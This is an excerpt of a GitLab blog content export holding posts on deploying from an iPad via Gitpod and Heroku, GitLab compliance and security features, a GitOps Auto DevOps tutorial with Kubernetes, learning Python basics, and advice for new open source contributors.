could not only code and preview the app from my iPad, but I could also get it deployed to Heroku (or any provider) from the couch. \n\nI created a `.gitlab-ci.yml` file in my project to get started. For deploying to Heroku:\n\n- I like to use a Ruby package called [dpl](https://github.com/travis-ci/dpl) from Travis CI because it makes it a simple one-line command.  Alternatively, I could install the [Heroku CLI](https://devcenter.heroku.com/articles/heroku-cli) and deploy with that if I wanted to. \n\n- I added the `HEROKU_API_KEY` variable to my [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/#add-a-cicd-variable-to-a-project) so that I could authenticate with Heroku for the deployment. \n\n- I then set the `rules:` section to only deploy when commits are impacting the main (default) branch, and I was ready to go! \n\nNow, every time I push code from Gitpod to GitLab, GitLab will start the build and deploy it to Heroku:\n\n```yaml\nimage: starefossen/ruby-node:2-10\n\nvariables:\n APP_NAME: four-oclock-in-the-morning\n\ndeploy:\n stage: deploy\n script:\n - gem install dpl -v 1.10.6\n - dpl --provider=heroku --app=$APP_NAME --api-key=$HEROKU_API_KEY\n rules:\n - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n```\n\n## Enabling collaboration\n\nThere are two other concepts that this pattern introduces that are worth discussion: the idea of one environment per change and enabling new collaborators to spin up a development environment in seconds.\n\nMost developers are used to having our setup just the way we like it – precisely the correct number of monitors, keys on our keyboard, and all of our favorite tools installed. However, that can lead to issues. We already know we should treat our servers like cattle, not pets, so why do we still treat our laptops like pets? While I love my MacBook and the stickers on it as much as the next person, I can get frustrated when setting up a new one and getting it back to the way I like it.\n\nIn addition, on many projects I've been on in the past, onboarding a new developer can take a lot of effort, including getting the correct libraries installed and ensuring they have access to all the right resources and environments. These things may seem trivial, but I've seen it take up to three days from senior engineers just to get another engineer up and running. All of that time is time that could be much better spent on writing code for the actual business.\n\nGitpod solves both of these issues with a simple YAML file: `.gitpod.yml`. This file allows you to specify:\n\n- What image to use as the base for the environment\n- Which other tools to install\n- What commands to run at startup, and even things like which VSCode extensions you should have in the environment\n\nAnd [lots of different settings](https://www.gitpod.io/docs/references/gitpod-yml) that you can find in the [Gitpod docs](https://www.gitpod.io/docs).\n\nSpecifying all of the tools needed lets you have short-lived environments that you can spin up for one task and then discard and get a fresh one for the next task. And it also saves time when onboarding new engineers by guaranteeing they have a running system within just a few seconds of opening the project. Best of all, it is all in a file that's in source control, so as things change or you make improvements to the development environment, all of your developers benefit from it immediately.  \n\nI added a simple [`.gitpod.yml`](https://gitlab.com/brendan-demo/4oclock/-/blob/main/.gitpod.yml) to run `npm run dev` to get started when you create a new environment. That simple example is great for a simple Node app or similar, but what about something more complex? Gitpod works for that, too. GitLab itself has a [`gitpod.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitpod.yml) that lets you get an entire working GitLab development environment – and all that entails – up and running quickly, without the need to install Postgres and Redis and all of the other dependencies GitLab has.\n\nThis makes contributing to GitLab easier than ever. Just go to the [GitLab repository](https://brendan.fyi/gitlab-repo) and click on that Gitpod button to get started. I'd love to hear how it works for you!\n",[4103,696,2368],{"slug":15379,"featured":6,"template":678},"how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod","content:en-us:blog:how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod.yml","How To Code Build And Deploy From An Ipad Using Gitlab And Gitpod","en-us/blog/how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod.yml","en-us/blog/how-to-code-build-and-deploy-from-an-ipad-using-gitlab-and-gitpod",{"_path":15385,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15386,"content":15391,"config":15397,"_id":15399,"_type":16,"title":15400,"_source":17,"_file":15401,"_stem":15402,"_extension":20},"/en-us/blog/gitlabs-newest-continuous-compliance-features-bolster-software",{"title":15387,"description":15388,"ogTitle":15387,"ogDescription":15388,"noIndex":6,"ogImage":15298,"ogUrl":15389,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15389,"schema":15390},"GitLab strengthens supply chain with compliance features","Business leaders and DevOps teams can continuously mitigate the risk of cloud-native environments and use guard rails to automate software compliance.","https://about.gitlab.com/blog/gitlabs-newest-continuous-compliance-features-bolster-software","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s newest continuous compliance features bolster software supply chain security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2022-02-09\",\n      }",{"title":15392,"description":15388,"authors":15393,"heroImage":15298,"date":15394,"body":15395,"category":674,"tags":15396},"GitLab’s newest continuous compliance features bolster software supply chain security",[12479],"2022-02-09","\n_This blog post contains information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only._\n\n_Please do not rely on this information for purchasing or planning purposes._\n\n_As with all projects, the items mentioned in the blog post and linked pages are subject to change or delay. The development, release, and timing of products, features, or functionality remain at the sole discretion of GitLab, Inc._\n\nCompliance and risk management have become the responsibility of everyone in an organization, and DevOps is no exception. To ensure the greatest level of security with the least exposure, business leaders must be able to trust that when they adopt or create compliance frameworks and policies, the associated rules will be able to be automatically deployed and enforced throughout the software development lifecycle. GitLab’s newest functionality and our near-term roadmap will help companies shift compliance left just as they have done for security, and also simplify governance and risk management across the entire software lifecycle.\n\n## Software supply chain risks\n\nHigh-profile attacks on software supply chains, and the resulting demand for tighter controls in software development and deployment by the U.S. government and customers worldwide, have put compliance and risk management front and center. Companies are not only struggling to protect their traditional architecture, but cloud-native transformation has introduced new attack surfaces that require [DevSecOps](/topics/devsecops/) teams to secure more than just the code. Containers, orchestrators, microservices, and the cloud environment as a whole make the job of identifying and mitigating vulnerabilities and risks even more challenging.\n\nTraditional application security is [no longer enough](/blog/are-you-ready-for-the-newest-era-of-devsecops/) in the era of DevOps automation and growth of cloud-native applications. In addition to testing and monitoring the new attack surfaces, complicated toolchains full of disparate products make it difficult to gain the visibility necessary to meet compliance demands and manage risk.\n\nAt GitLab, we remain focused on innovating an end-to-end DevOps Platform that organizations can leverage to simplify all aspects of security, compliance, governance, and risk management – no matter if you are developing software in a traditional environment, a cloud-native workspace, or a hybrid of the two.\n\nSecurity and compliance remain key focuses for our product investment. Let’s take a quick look at recent innovations along with what’s coming in the near-term within the three themes of:\n\n- Enabling secure cloud-native development\n- Security governance\n- Leveraging the DevOps Platform for better security and compliance\n\nAll of the information from these additional scans is available within existing workflows so DevSecOps teams can get the actionable insight they need to quickly find and fix issues from within the continuous integration (CI) pipeline. Here is how it looks for the developer:\n\n![WIP: Feature branch](https://about.gitlab.com/images/blogimages/cindyfeaturebranch.png){: .shadow}\n\nAt the same time, security pros get early insight into risks as vulnerabilities are merged into feature branches (pre-production). The [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) helps review and triage of vulnerabilities not resolved by the developer. This information is available at the project and group levels.\n\n![Vulnerability report](https://about.gitlab.com/images/blogimages/cindyvulnerabilityreport.png){: .shadow}\n\nThese capabilities are part of the existing GitLab Ultimate tier – no integrations or added costs required.\n\n## Enabling secure cloud-native development\n\nHere’s **what’s new** in GitLab to help DevSecOps secure cloud-native development:\n\n**Infrastructure as code scanning** – Many DevSecOps teams have started to implement [IaC](/direction/delivery/infrastructure_as_code/) as part of their software development lifecycle, so GitLab has introduced robust scanning tools that can analyze the IaC configuration files (i.e., YAML, Kubernetes, CloudFormation, Terraform) to identify common security issues of these new attack surfaces.\n\n**More flexible container scanning** – While we already had container scanning available in GitLab, we have switched to [Trivy open-source container vulnerability scanner technology](/releases/2021/06/22/gitlab-14-0-released/#container-scanning-integration-with-trivy) for pre-production environments. Trivy covers more languages and has better results than previous scanners. We also are beta-testing container scanning for production environments and [cluster image scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html).\n\n**API security** – APIs represent a tremendous attack surface when not properly secured. We are using the state-of-the-art fuzzing technology [acquired from Peach Tech and Fuzzit](/press/releases/2020-06-11-gitlab-acquires-peach-tech-and-fuzzit-to-expand-devsecops-offering.html) to test APIs. In addition, our [dynamic application security testing for APIs](https://docs.gitlab.com/ee/user/application_security/dast_api/) (DAST) is in beta.\n\nResults from all of the scanners (IaC, containers and APIs) are incorporated into GitLab’s CI pipeline alongside other scan results enabling correction before configuration errors manifest in production.\n\nHere’s **what’s next** that will help DevSecOps secure cloud-native development:\n\n**Production container scanning** – We plan to make production container scanning generally available to scan containers for vulnerabilities after they’ve [already been deployed](/direction/secure/composition-analysis/container-scanning/). This will help surface vulnerabilities from new exploits not tested for during development.\n\n**DAST API scanner** – We will be making our [DAST API scanner](/direction/secure/dynamic-analysis/api-security/#whats-next--why)  generally available to enable broader coverage, better quality, and easier configuration. This will help you apply even greater defense-in-depth.\n\n**API Discovery** – DevSecOps teams will be able to leverage access to code to automatically [discover and test the APIs](https://gitlab.com/gitlab-org/gitlab/-/issues/38384)  being used throughout the organization’s software supply chain. Understanding the attack surface is important to protecting it.\n\n## Security governance\n\nHere’s **what’s new** to help organizations establish and manage security and compliance guardrails that allow developers to run fast while also managing risk:\n\n**Continuous compliance** – Organizations can shift compliance left, similar to security, to identify and mitigate violations early on to avoid delays at go-live. Compliant workflow automation enables a DevOps admin to assign a compliance framework to a project and enforce scans and other common controls across all project pipelines. Developers may not easily sidestep required controls.\n\n**Policy Engine** – GitLab automates a comprehensive set of security and compliance scans within the CI pipeline. Automating what happens when exceptions are encountered has been fairly simplistic. Now, GitLab provides users with a [policy editor](https://docs.gitlab.com/ee/user/application_security/policies/#policy-editor) that provides more fine-grained rules that can determine what approvals are required helping you manage your own unique appetite for risk.\n\nThe policy engine is part of a larger direction for [Security Orchestration](/direction/govern/security_policies/security_policy_management/) that includes continued iteration on Security Alert Management, Security Policy Management, and Security Approvals.\n\nHere’s **what’s next** that will help organizations establish and manage security governance:\n\n**Compliance checks in MRs** – GitLab is further automating continuous [compliance checks into the developer’s daily workflow](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html#approval-status-and-separation-of-duties) in a similar way as security scans. This will help compliance essentially shift left so developers can find and fix compliance violations early and stay on schedule.\n\n**Governance at the group level** – We are working to bring the controls found at the project level up to the group level so that policies may be more easily applied across a broad set of projects. This project is tied to the completion of workspaces.\n\n## The benefits of a single DevOps Platform\n\nHere’s **what’s new** that enables you to leverage the benefits of a single DevOps Platform in GitLab’s Ultimate version:\n\n**Unified vulnerability management and reporting** – We’ve consolidated security findings into a [single dashboard](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) that aggregates information from GitLab and other sources, including third-party scanners, our [security partners](/partners/technology-partners/#security), and more. You can [pull in vulnerability data from other systems](/blog/three-things-you-might-not-know-about-gitlab-security/), manual pen testing, bug bounty programs, or even from security tools that don’t run in GitLab pipeline jobs. Vulnerability management in GitLab Ultimate helps you manage all of your [software vulnerability information](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) in one place to efficiently triage and remediate findings.\n\n**Proprietary SAST scanner** – We have [replaced some of our language-specific open-source scanners (OSS)](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) with [Semgrep](https://r2c.dev/blog/2021/introducing-semgrep-for-gitlab/), a proprietary scanner, to improve coverage, accuracy, and speed. Semgrep's flexible rule syntax is ideal for streamlining the [GitLab Custom Rulesets](https://docs.gitlab.com/ee/user/application_security/sast/#customize-rulesets) feature for extending and modifying detection rules. It also allows GitLab customers access to Semgrep's community rules.\n\nHere’s **what’s next** that will enable organizations to leverage the benefits of a single DevOps Platform in GitLab’s Ultimate version:\n\n**Software supply chain security** – Organizations will be able to secure the full software supply chain with one application while improving confidence in its integrity and security. GitLab has put together a framework describing the various aspects that are required to accomplish this based on feedback from customers, inspiration from common standards (such as SLSA), as well as thought leadership from industry analysts. We would love your thoughts and contributions to these epics. Check out our [Software Supply Chain Security direction page](/direction/supply-chain/).\n\n**Inline security training** – Developers will have just-in-time access to popular third-party security training as they encounter vulnerabilities. For instance, if a vulnerability is detected, a module will pop up that the developer can click on to learn more, including what the vulnerability is and how to fix it. This optimizes security training with an immediate need. More details coming soon.\n\n**Intelligent code security** – Leveraging a previous acquisition, GitLab plans to help organizations automatically detect and remediate insecure coding practices using [machine learning](/direction/modelops/ai_assisted/#categories). This will help our customers further reduce risk and technical debt.\n\nGitLab is uniquely transparent. By making our product roadmaps public, we encourage contribution and iteration. We invite you to contribute your ideas by checking out our [product directions pages](/direction/#job-to-be-done) and commenting on [upcoming releases](/upcoming-releases/).\n",[4103,674,754],{"slug":15398,"featured":6,"template":678},"gitlabs-newest-continuous-compliance-features-bolster-software","content:en-us:blog:gitlabs-newest-continuous-compliance-features-bolster-software.yml","Gitlabs Newest Continuous Compliance Features Bolster Software","en-us/blog/gitlabs-newest-continuous-compliance-features-bolster-software.yml","en-us/blog/gitlabs-newest-continuous-compliance-features-bolster-software",{"_path":15404,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15405,"content":15410,"config":15416,"_id":15418,"_type":16,"title":15419,"_source":17,"_file":15420,"_stem":15421,"_extension":20},"/en-us/blog/gitops-with-gitlab-auto-devops",{"title":15406,"description":15407,"ogTitle":15406,"ogDescription":15407,"noIndex":6,"ogImage":12013,"ogUrl":15408,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15408,"schema":15409},"Connecting Kubernetes clusters to GitLab with Auto DevOps","This is the 6th article in a series of tutorials on how to do GitOps with GitLab","https://about.gitlab.com/blog/gitops-with-gitlab-auto-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps with GitLab: Connecting GitLab with a Kubernetes cluster - Auto DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2022-02-08\",\n      }",{"title":15411,"description":15407,"authors":15412,"heroImage":12013,"date":15413,"body":15414,"category":734,"tags":15415},"GitOps with GitLab: Connecting GitLab with a Kubernetes cluster - Auto DevOps",[2544],"2022-02-08","\n_It is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. These easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them. You can find the entire \"Ultimate guide to GitOps with GitLab\" tutorial series [here](/blog/the-ultimate-guide-to-gitops-with-gitlab/)._\n\nIn this article we will look at how one can use Auto DevOps with all its bells and whistles to easily manage deployments.\n\n## Prerequisites\n\nThis article builds upon the previous tutorials in this series. We will assume that you have a Kubernetes cluster connected to GitLab using the GitLab Agent for Kubernetes, and you understand how the CI/CD tunnel works.\n\nIf this is not the case, I recommend to follow the previous articles to have a similar setup from where we will start today.\n\n## What is Auto DevOps\n\nAuto DevOps is GitLab's answer to the complexity of software application delivery. It is a set of opinionated templates that can be used \"as-is\" or can be used to fast-track your own pipeline building. For some setups it works from testing through various security and compliance checks to canary deployments. Even if you have a less supported setup, you should be able to reuse some of its components, from security linting to deployment.\n\nYou can read more about the various [features built into Auto DevOps in our documentation](https://docs.gitlab.com/ee/topics/autodevops/).\n\n## The plan for building and deploying a minimul application\n\nThe plan for this article is to build and deploy a minimal application. The focus will be on showing how you can get started quickly, without any modifications on the Auto Deploy pipelines.\n\nThis setup will use the already known CI/CD tunnel. There will be a separate article that shows how to replace the \"Auto Deploy\" part of Auto DevOps with GitOps style deployments.\n\nIn this article, we will deploy a simple hello world application. This is not a tutorial about Auto DevOps, so we will only focus on the setup needed when used together with the GitLab Agent for Kubernetes.\n\nYou can see the final repository under https://gitlab.com/gitlab-examples/ops/gitops-demo/hello-world-service/.\n\n## How to build the application\n\nIn this section we will create our super simple hello world application and put a Dockerfile beside it.\n\n1. Start a new project.\n1. Add `src/main.py` with the following content:\n    ```python\n    # From https://gist.github.com/davidbgk/b10113c3779b8388e96e6d0c44e03a74\n    import http.server\n    import socketserver\n    from http import HTTPStatus\n\n    class Handler(http.server.SimpleHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(HTTPStatus.OK)\n            self.end_headers()\n            self.wfile.write(b'Hello world')\n\n    httpd = socketserver.TCPServer(('', 5000), Handler)\n    httpd.serve_forever()\n    ```\n1. Create the `Dockerfile` with:\n   ```\n   FROM python:3.9.10-slim-bullseye\n\n   WORKDIR /app\n\n   COPY ./src .\n\n   EXPOSE 5000\n\n   CMD [ \"python\", \"main.py\" ]\n   ```\n1. Commit the change to the repository.\n\n## How to set up Auto DevOps\n\n1. [Share the CI/CD tunnel](https://docs.gitlab.com/ee/user/clusters/agent/work_with_agent.html) with the hello-world project. Note, that the Agent configuration project amd the application project should be in the same project hierarchy and the Agent configuration project needs to be higher in this hierarchy.\n    ```yaml\n    ci_access:\n      # This agent is accessible from CI jobs in projects in these groups\n      projects:\n        - id: \u003Cpath>/\u003Cto>/\u003Cyour>/\u003Cproject>\n    ```\n1. Find out the Kubernetes context name. The agent context name is `\u003Cnamespace>/\u003Cgroup>/\u003Cproject>:\u003Cagent-name>`. You can see the available contexts in CI with the following job:\n    ```yaml\n    contexts:\n      stage: .pre\n      image:\n        name: bitnami/kubectl:latest\n        entrypoint: [\"\"]\n      script:\n        - kubectl config get-contexts \n    ```\n1. Create your `.gitlab-ci.yml` file to have Auto DevOps working:\n    ```yaml\n    include:\n        template: Auto-DevOps.gitlab-ci.yml\n\n    variables:\n        # KUBE_INGRESS_BASE_DOMAIN is the application deployment domain and should be set as a variable at the group or project level.\n        KUBE_INGRESS_BASE_DOMAIN: 74.220.23.215.nip.io\n        KUBE_CONTEXT: \"gitlab-examples/ops/gitops-demo/k8s-agents:demo-agent\"\n        KUBE_NAMESPACE: \"demo-agent\"\n\n        # Feel free to enable any of these\n        TEST_DISABLED: \"true\"\n        CODE_QUALITY_DISABLED: \"true\"\n        LICENSE_MANAGEMENT_DISABLED: \"true\"\n        BROWSER_PERFORMANCE_DISABLED: \"true\"\n        LOAD_PERFORMANCE_DISABLED: \"true\"\n        SAST_DISABLED: \"true\"\n        SECRET_DETECTION_DISABLED: \"true\"\n        DEPENDENCY_SCANNING_DISABLED: \"true\"\n        CONTAINER_SCANNING_DISABLED: \"true\"\n        DAST_DISABLED: \"true\"\n        REVIEW_DISABLED: \"true\"\n        CODE_INTELLIGENCE_DISABLED: \"true\"\n        CLUSTER_IMAGE_SCANNING_DISABLED: \"true\"\n        POSTGRES_ENABLED: \"false\"\n    ```\n1. Commit the changes.\n\nAs you can see, I disabled many Auto DevOps functionalities in the above CI YAML. I did this for two reasons:\n\n1. Some of these features require a Premium or Ultimate license or tests in the repo. I wanted to keep this tutorial \"stable\" for everyone.\n1. Every use case differs a little bit and Auto DevOps allows a large number of customizations. I wanted to highlight this by showing you the most basic ones. Read more about [customizing Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/customize.html). If you would like [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) support, just remove the `REVIEW_DISABLED` line.\n\nThere are actually only three settings to get the Auto DevOps pipeline up and running:\n\n- The `KUBE_CONTEXT` specifies the context used for the connection, it's provided by the GitLab Agent for Kubernetes.\n- The `KUBE_NAMESPACE` specifies the Kubernetes namespace to target with the deployments. This namespace will be used as we apply the Helm charts used behind the hood.\n- The `KUBE_INGRESS_BASE_DOMAIN` sets up an Ingress and enables user friendly access to the deployed service. \n\n## Recap\n\nA very common setup I see with GitLab customers is that the development team is responsible for writing the application code and packaging it into a Docker container. During this process, they take care of basic testing as well, but they are not familiar with all the security and compliance requirements or the deployment pipelines used within the company. The presented setup and the Auto DevOps suite of templates serves these teams. As you can see, the teams need minimal GitLab CI setup to run a complex pipeline that can take care of many of their requirements.\n\n## What's next\n\nIn the next article, I will show you how to deploy an application project with a GitOps style workflow.\n\n_[Click here](/blog/the-ultimate-guide-to-gitops-with-gitlab/) for the next tutorial._\n",[534,2509,696],{"slug":15417,"featured":6,"template":678},"gitops-with-gitlab-auto-devops","content:en-us:blog:gitops-with-gitlab-auto-devops.yml","Gitops With Gitlab Auto Devops","en-us/blog/gitops-with-gitlab-auto-devops.yml","en-us/blog/gitops-with-gitlab-auto-devops",{"_path":15423,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15424,"content":15429,"config":15433,"_id":15435,"_type":16,"title":15436,"_source":17,"_file":15437,"_stem":15438,"_extension":20},"/en-us/blog/learn-python-with-pj-part-1",{"title":15425,"description":15426,"ogTitle":15425,"ogDescription":15426,"noIndex":6,"ogImage":13867,"ogUrl":15427,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15427,"schema":15428},"Learn Python with Pj! Part 1 - Getting started","Follow along as our education evangelist Pj Metz learns Python, and shares his experiences in the first of a multi-part series.","https://about.gitlab.com/blog/learn-python-with-pj-part-1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learn Python with Pj! Part 1 - Getting started\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-02-08\",\n      }",{"title":15425,"description":15426,"authors":15430,"heroImage":13867,"date":15413,"body":15431,"category":8943,"tags":15432},[12593],"\n\n_Hello World!_ \n\nMy name is Pj Metz and I’m the education evangelist at GitLab. My day job involves working with universities across the globe to help faculty and students learn to use GitLab for educational or research purposes. Currently, my code experience is limited to C# and JavaScript, with some HTML and CSS in there for good measure. However, one of the most popular languages in the education community is Python, so I decided to jump in and teach myself Python to better connect with my community members. \n\nI’ll be learning on [Codecademy](https://www.codecademy.com), an online interactive learning platform that offers a variety of languages and career path curriculums, both free and paid. It’s where I started learning to code back in 2020 so I’m already comfortable with it’s format and curriculum style. \n\nEvery few weeks you’ll see what I’ve learned and how I’ve applied that new knowledge. I’ll discuss the basics of writing in Python and show off some of what I’ve done. I’m still relatively new to writing code in general, so expect to see this through the eyes of a beginner — not just a Python beginner, but coding in general. I might even make a mistake in my descriptions/explanations. Let’s jump in! 🐍\n\n## First lessons\n\nThe first few lessons involved writing a “hello world” and changing the value of a premade variable.\n\n![codecademy screen showing instructions on the left, the IDE in the middle, and the output on the right](https://about.gitlab.com/images/blogimages/helloworld.png)\n\nI moved on to writing my own variables and experimenting with several different types, including ints, strings, and floats. I learned that you can change a variable after defining it, similar to many languages, and that you can even change the type; the most recently defined type will be the one used at run time. Concatenation works similarly to other languages: using a plus sign to combine variables. I did some reading ahead and learned about [f-strings](https://www.geeksforgeeks.org/formatted-string-literals-f-strings-python/) as an easy method of concatenating strings. I’m used to doing something similar in JavaScript for my [Twitter bots,](https://gitlab.com/MetzinAround/DivasLive) so this felt important to know. \n\nI also learned how to do some control flow through `if`, `elif`, and `else`. The logic remains the same, but conventions are a bit different. I’m used to writing an if statement like this in JavScript. \n\n```javascript\nif(partyRock === 'in the house tonight') {\n  everybody = 'have a good time'\n  console.log(`Party rock ${partyRock} everybody just ${everybody}`)\n} else {\n  everybody = 'sad party rock noises'\n  console.log(everybody)\n}\n\n```\nIn Python, there are no curly braces. Rather, a colon and indent takes care of that work. \n\n```python\nif partyRock == 'in the house tonight':\n   everybody = 'have a good time'\n   print(f\"Party Rock is {partyRock} everybody just {everybody}\")\nelse:\n  everybody = 'sad party rock noises'\n  print(everybody)\n```\n\n## Initial thoughts\n\nI like the readability of Python. It’s a little less cluttered, but I remember being very excited about curly braces when I first learned them. Using them for functions and methods and the like always made me feel like a “real programmer” when I was first starting. That being said, Python syntax is coming along naturally for me. \n\nSomething that’s different for me is the way Python has you initialize variables. C# is a statically typed language, meaning that part of defining a variable is saying what type of variable it is (int, string, float, etc.). Python does not require you to define the type, it will simply know at run-time. This is similar to JavaScript, but it does still throw me since I started learning with C#. Additionally, in JavaScript you have to use `let`, `var`, or `const`. In Python you just … name it and give it a value. Felt strange at first, but has become more natural as I progressed. Not having to define the type always strikes me as “weird,” but that’s personal preference, not anything actually verifiably wrong. \n\nAdditionally, the naming convention of variables is different as well. Python convention dictates underscores as spaces, while C# and JavaScript both prefer camel case, which is where each new word is capitalized. \n\n``` cs\n int minLength = 8\n```\n```javascript\nminLength = 8\n```\n\n``` python\nmin_length = 8\n```\n\nThe [naming conventions of Python](https://www.python.org/dev/peps/pep-0008/#naming-conventions) have certain rules for when to use underscores and how, especially double underscores which behave differently in Python depending on where they appear in the name. I only know what I’ve seen so far in Codecademy, but they’ve named all their variables with underscores instead of spaces. \n\n### Favorite new knowledge\n\nI really like being able to create multiple line strings simply by using three quotes, similar to using three backticks for a code block in markdown. Formatting the output has always been frustrating for me; having to remind myself that `\\n` exists and then looking up how exactly I’m supposed to use it is something I’ve spent an embarrassing amount of time on. And likely will do until the day I hang up my keyboard for good. \n\n![a code block showing a multi line sentence and the terminal output after showing correct format as dictated by the code](https://about.gitlab.com/images/blogimages/pythonmultilinestring.png)\n\nThis is nice in that how it looks in the code is how it looks in the output. I love that! \n\nThis is the first installment in the Learn Python with Pj! series. Make sure to read:\n- [Part 2 - Lists and loops](/blog/learn-python-with-pj-part-2/)\n- [Part 3 - Functions and strings](/blog/learn-python-with-pj-part-3/)\n- [Part 4 - Dictionaries and Files](/blog/learn-python-with-pj-part-4-dictionaries-and-files/)\n- [Part 5 - Build a hashtag tracker with the Twitter API](/blog/learn-python-with-pj-part-5-building-something-with-the-twitter-api/)\n\n",[7715,4103,9297],{"slug":15434,"featured":6,"template":678},"learn-python-with-pj-part-1","content:en-us:blog:learn-python-with-pj-part-1.yml","Learn Python With Pj Part 1","en-us/blog/learn-python-with-pj-part-1.yml","en-us/blog/learn-python-with-pj-part-1",{"_path":15440,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15441,"content":15447,"config":15452,"_id":15454,"_type":16,"title":15455,"_source":17,"_file":15456,"_stem":15457,"_extension":20},"/en-us/blog/first-time-open-source-contributor-5-things-to-get-you-started",{"title":15442,"description":15443,"ogTitle":15442,"ogDescription":15443,"noIndex":6,"ogImage":15444,"ogUrl":15445,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15445,"schema":15446},"First time open source contributor? 5 things to get you started","Open source really is *open* but it can be difficult to know where (and how) to jump in. Here's our best advice.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671390/Blog/Hero%20Images/developers-choose-open-source.jpg","https://about.gitlab.com/blog/first-time-open-source-contributor-5-things-to-get-you-started","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"First time open source contributor? 5 things to get you started\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-02-07\",\n      }",{"title":15442,"description":15443,"authors":15448,"heroImage":15444,"date":15449,"body":15450,"category":8943,"tags":15451},[711],"2022-02-07","If you haven’t yet contributed to an open source software project, you may be eager to get going. Contributing to open source is a [great way to learn, teach, and build your technical expertise](https://clearcode.cc/blog/why-developers-contribute-open-source-software/). And it feels good to be part of a community. Yet your first time contributing can be intimidating. Here are five things you need to know to get up and running on open source:\n\n1. Contributing isn’t just about writing code. Open source projects need help on a variety of things, starting with coding, but also things like designing navigation and menus, writing documentation, managing timelines, organizing open issues, moderating message boards and answering questions. [Other ways to get started/](https://www.hanselman.com/blog/get-involved-in-open-source-today-how-to-contribute-a-patch-to-a-github-hosted-open-source-project-like-code-52) File a bug and suggest a patch for it or suggest a feature. In short, [there are many ways to contribute](https://opensource.guide/how-to-contribute/#why-contribute-to-open-source), in line with your interests and expertise. And no matter what you give, you’ll meet people and become an appreciated member of the group – sometimes contributing on ancillary things will earn you more points than coding.  \n\n2. Confusion is ok. If you’re bewildered at first, it’s not just because you’re a newbie. Each open source project has its own culture, [including terms of art, behavior norms, accepted practices](https://opensource.guide/how-to-contribute/#orienting-yourself-to-a-new-project), etc. So, even if you work for years on one project and are completely up to speed on what life is like there, it’s more than likely your next project will be totally different. There are some things that are usually present, such as the [roles of people on the project](https://opensource.guide/leadership-and-governance/), including author, owner, maintainer, contributor and committer. But the fact is, it will take time, observation and interacting with project members to understand how things are done within a project – and whether or not you are a good fit. If the vibe is not right, go elsewhere. There are so many projects that could use your support.    \n\n3. If there is a code of conduct, you need to get familiar with it. Not all open source projects will have a [code of conduct](https://opensource.guide/code-of-conduct/). When you’re interested in a project, be sure to see if there is a code of conduct and, if so, what it says. That way, you won’t make a gaffe without realizing it (and having to hear about it from everyone else). At a high level, respect the other participants (see number 5, below). If there is no explicit code of conduct, there are [core values and norms](https://opensource.com/open-organization/21/8/leadership-cultural-social-norms) that are recognized in the open source community. Chief among these are kindness and worldwide collaboration.\n\n4. Open Source Projects often have community governance models. There are [three types of org structures](https://opensource.guide/leadership-and-governance/) generally associated with open source projects: BDFL (Benevolent Dictator for Life; [Python](/blog/beginner-guide-python-programming/)is [one example](https://artsandculture.google.com/entity/benevolent-dictator-for-life/m03m3r0l?hl=en), meritocracy (this exact term may not be used but it’s about the relative “merit” of contributions; [Apache projects](https://www.apache.org/index.html#projects-list) follow this model) or liberal contribution (under which the people who contribute the most have the most say; [Node.js](https://openjsf.org) and [Rust](/blog/rust-programming-language/)are examples). In recent years, the BDFL model has [fallen out of favor](https://readwrite.com/open-source-magento-roy-rubin-bdfl/) in some circles as it leaves the project vulnerable if a leader steps away. [As Jason Baker wrote](https://opensource.com/article/18/7/bdfl) on OpenSource.com, “How an open source project is governed can have very real consequences on the long-term sustainability of its user and developer communities alike.” Just something to keep in mind.\n\n5. When in doubt, ask away, there are no dumb questions. As with any group you might belong to, you and the other members will be happier if the tone is welcoming and kind. Essentially, you’re there to collaborate so respect is important. Open source participants tend to be diverse in every possible way, stay open and considerate. Women traditionally are underrepresented in open source, [so be encouraging](https://internethealthreport.org/2019/codes-of-conduct-in-open-source-communities/). Try not to waste people’s time and provide as much context as needed in issues and conversations. Most projects will set the expectation that participants should [respect each other and be civil](https://developer.mozilla.org/en-US/docs/MDN/Contribute/Open_source_etiquette) in their interactions. \n\nThe rules are a lot like the ones you may have learned in your childhood: Observe before you jump in, share your knowledge generously, always thank people who help 